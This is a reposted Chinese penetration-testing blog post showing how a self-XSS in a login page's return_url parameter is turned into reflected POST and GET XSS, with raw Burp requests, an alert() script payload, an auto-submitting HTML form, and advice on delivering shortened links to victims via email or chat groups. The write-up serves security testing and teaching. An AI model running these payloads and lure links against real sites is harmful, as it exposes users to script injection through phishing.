一枚进击中的Self-XSS

admin 2021年8月24日21:34:44评论80 views字数 2130阅读7分6秒阅读模式

目录

  • 反射型 Self-XSS

  • POST 反射型 XSS

  • GET 反射 XSS


反射型 Self-XSS

开局登录框

一枚进击中的Self-XSS

随机输入,然后burp抓包

POST /membership_login.asp HTTP/1.1Host: User-Agent: Accept: text/html,application/xhtml+xml,application/xmlAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HKAccept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedConnection: closeUpgrade-Insecure-Requests: 1
return_url=&account=x&password=x&login=

发现一枚比较"陌生"的参数

  • return_url

fuzz一波

得到payload

"><script>alert(2021)</script>


POST /membership_login.asp HTTP/1.1Host: User-Agent: Accept: text/html,application/xhtml+xml,application/xmlAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HKAccept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedConnection: closeUpgrade-Insecure-Requests: 1
return_url="><script>alert(2021)</script>&account=x&password=x&login=

响应如下

一枚进击中的Self-XSS

成功xss 自己

一枚进击中的Self-XSS

但总不能一枚self-xss就结束了吧?


POST-反射型 XSS

F12, 查看源码

一枚进击中的Self-XSS

构造post表单

xssPost.html:

<html>  <body>    <form action="http://www.xxx.com/membership_login.asp" method="POST">      <input type="hidden" name="return_url" value=""><script>alert(2021)</script>" />      <input type="hidden" name="account" value="x" />      <input type="hidden" name="password" value="x" />      <input type="hidden" name="login" value="" />      <input type="submit" value="Submit request" />    </form>  </body></html>

诱导目标访问这个html文件,触发如下:

一枚进击中的Self-XSS

如果是在日常攻防演练中,可以将该html部署在vps, 然后生成短链接后再进行投递,如:

起一个web服务

一枚进击中的Self-XSS

生成短链接

一枚进击中的Self-XSS

然后模拟投递该短链接(邮箱/QQ群/微信群等)

一枚进击中的Self-XSS

成功触发

一枚进击中的Self-XSS

虽然,针对POST 型XSS的利用已经较为成熟,但是如果能进化为GET 型XSS自然最好。


GET-反射型XSS

初始登录时的数据如下

POST /membership_login.asp HTTP/1.1Host: User-Agent: Accept: text/html,application/xhtml+xml,application/xmlAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HKAccept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedConnection: closeUpgrade-Insecure-Requests: 1
return_url=&account=x&password=x&login=

右键,改变请求方式

一枚进击中的Self-XSS

GET 请求包

GET /membership_login.asp?return_url="><script>alert(2021)</script>&account=x&password=x&login= HTTP/1.1Host: User-Agent: Accept: text/html,application/xhtml+xml,application/xmlAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HKAccept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedConnection: closeUpgrade-Insecure-Requests: 1

响应如下

一枚进击中的Self-XSS

成功弹窗

一枚进击中的Self-XSS

常规利用同POST 型XSS一样,将携带payload的链接丢短链接在线生成网站

一枚进击中的Self-XSS

然后将生成的链接投递即可,触发如下:

一枚进击中的Self-XSS



本文始发于微信公众号(don9sec):一枚进击中的Self-XSS

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月24日21:34:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一枚进击中的Self-XSShttps://cn-sec.com/archives/405889.html

发表评论

匿名网友 填写信息